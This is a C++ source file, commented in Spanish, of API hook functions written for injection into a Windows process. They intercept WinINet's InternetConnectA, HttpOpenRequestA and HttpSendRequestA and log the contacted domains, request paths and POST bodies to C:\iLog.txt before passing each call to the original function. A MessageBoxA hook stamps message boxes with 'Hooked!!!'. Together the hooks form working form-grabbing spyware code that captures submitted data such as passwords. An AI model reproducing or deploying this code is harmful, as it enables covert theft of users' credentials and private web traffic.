inyectables.cc

/**
    Funciones a inyectar
**/

#include <cstdio>
#include "injectables.h"
#include "hook_hot.h"

typedef int (__stdcall * pOMessageBoxA)(HWND, LPCSTR, LPCSTR, UINT);
typedef HINTERNET (__stdcall * pOInternetConnect)(HINTERNET, LPCTSTR, INTERNET_PORT, LPCTSTR, LPCTSTR, DWORD, DWORD, DWORD_PTR);
typedef HINTERNET (__stdcall * pOHttpOpenRequest)(HINTERNET, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR, LPCTSTR*, DWORD, DWORD_PTR);
typedef BOOL (__stdcall * pOHttpSendRequest)(HINTERNET, LPCTSTR, DWORD, LPVOID, DWORD);

FARPROC WINAPI getUnhookedAddress(LPCSTR _module, LPCSTR _api){
	
	HMODULE hModule;
	FARPROC WINAPI originalAddr;
	
	hModule = LoadLibrary(_module);
	originalAddr = GetProcAddress(hModule, _api);
	
	originalAddr += 2;
	
	return originalAddr;
	
}

//--------------------//
//  HOOKER FUNCTIONS  //
//--------------------//

HINTERNET HookerInternetConnect(HINTERNET hInternet, LPCTSTR lpszServerName, INTERNET_PORT nServerPort, LPCTSTR lpszUsername, LPCTSTR lpszPassword, DWORD dwService, DWORD dwFlags, DWORD_PTR dwContext){
	
	char *buff;
	HANDLE hFile;
	DWORD written_bytes;
	HINTERNET hInternet_ret;
	pOInternetConnect OInternetConnectA = pOInternetConnect(getUnhookedAddress("wininet.dll", "InternetConnectA"));
	
	// save info into a file
	
	buff = (char*)VirtualAlloc(NULL, 2048, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	sprintf(buff, "Dominio: %s\r\n", lpszServerName);
	hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
	VirtualFree(buff, 2048, MEM_RELEASE);
	CloseHandle(hFile);
	
	hInternet_ret = OInternetConnectA(hInternet, lpszServerName, nServerPort, lpszUsername, lpszPassword, dwService, dwFlags, dwContext);
	
	return hInternet_ret;
	
}


HINTERNET HookerHttpOpenRequest(HINTERNET hConnect, LPCTSTR lpszVerb, LPCTSTR lpszObjectName, LPCTSTR lpszVersion, LPCTSTR lpszReferer, LPCTSTR *lplpszAcceptTypes, DWORD dwFlags, DWORD_PTR dwContext){
	
	char *buff;
	HANDLE hFile;
	DWORD written_bytes;
	HINTERNET hInternet_ret;
	pOHttpOpenRequest OHttpOpenRequestA = pOHttpOpenRequest(getUnhookedAddress("wininet.dll", "HttpOpenRequestA"));
	
	// save info into a file
	
	buff = (char*)VirtualAlloc(NULL, 2048, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	sprintf(buff, "%s %s\r\n", lpszVerb, lpszObjectName);
	hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
	VirtualFree(buff, 2048, MEM_RELEASE);
	CloseHandle(hFile);
	
	hInternet_ret = OHttpOpenRequestA(hConnect, lpszVerb, lpszObjectName, lpszVersion, lpszReferer, lplpszAcceptTypes, dwFlags, dwContext);
	
	return hInternet_ret;
}

BOOL HookerHttpSendRequest(HINTERNET hRequest, LPCTSTR lpszHeaders, DWORD dwHeadersLength, LPVOID lpOptional, DWORD dwOptionalLength){
	
	char *buff;
	HANDLE hFile;
	BOOL bool_ret;
	DWORD written_bytes;
	pOHttpSendRequest OHttpSendRequestA = pOHttpSendRequest(getUnhookedAddress("wininet.dll", "HttpSendRequestA"));

	// save info into a file
	
	buff = (char*)VirtualAlloc(NULL, 10000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
	sprintf(buff, "Params: %s\r\n", lpOptional);
	hFile = CreateFile("C:\\iLog.txt", GENERIC_WRITE, 0, NULL, OPEN_ALWAYS, FILE_ATTRIBUTE_NORMAL, NULL);
	WriteFile(hFile, buff, strlen(buff), &written_bytes, NULL);
	VirtualFree(buff, 10000, MEM_RELEASE);
	CloseHandle(hFile);
	
	bool_ret = OHttpSendRequestA(hRequest, lpszHeaders, dwHeadersLength, lpOptional, dwOptionalLength);
	
	return bool_ret;
	
}

int HookerMessageBoxA(HWND hWnd, LPCSTR lpText, LPCSTR lpCaption, UINT uType){
 
 	pOMessageBoxA OMessageBoxA = pOMessageBoxA(getUnhookedAddress("user32.dll", "MessageBoxA"));
 	int int_ret;
 	
 	int_ret = OMessageBoxA(hWnd, lpText, "Hooked!!!", MB_OK|MB_ICONWARNING);
 
    return int_ret;
 
}